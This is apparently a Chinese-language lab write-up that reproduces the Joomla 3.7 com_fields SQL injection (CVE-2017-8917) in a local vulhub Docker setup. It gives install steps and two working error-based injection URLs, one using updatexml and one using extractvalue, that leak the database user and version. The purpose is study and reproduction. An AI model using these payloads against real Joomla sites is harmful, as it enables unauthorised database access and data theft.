漏洞简介
com_fields组件出现漏洞,com_fields组件是在3.7版本添加的,如果你使用此版本,将受到影响,并应尽快更新。这个组件可以公开访问,意味着任何能访问你站点的用户都可以发起攻击
漏洞复现
(root💀guiltyfet)-[/home/guiltyfet/vulhub/joomla] └─# cd CVE-2017-8917 ┌──(root💀guiltyfet)-[/home/guiltyfet/vulhub/joomla/CVE-2017-8917] └─# docker-compose up -d Creating network "cve-2017-8917_default" with the default driver
来到安装页面,首先替换为中文
http://127.0.0.1:8080/
数据库地址:mysql:3306
用户:root
密码:root
数据库名:joomla
填入上述信息,正常安装即可
数据库地址注意要不出现不能连接到数据库。返回信息: Could not connect to MySQL.
安装
删除 “installation” 目录
http://127.0.0.1:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
对版本注入
http://127.0.0.1:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=extractvalue(666,concat(0x3a,version(),0x3a))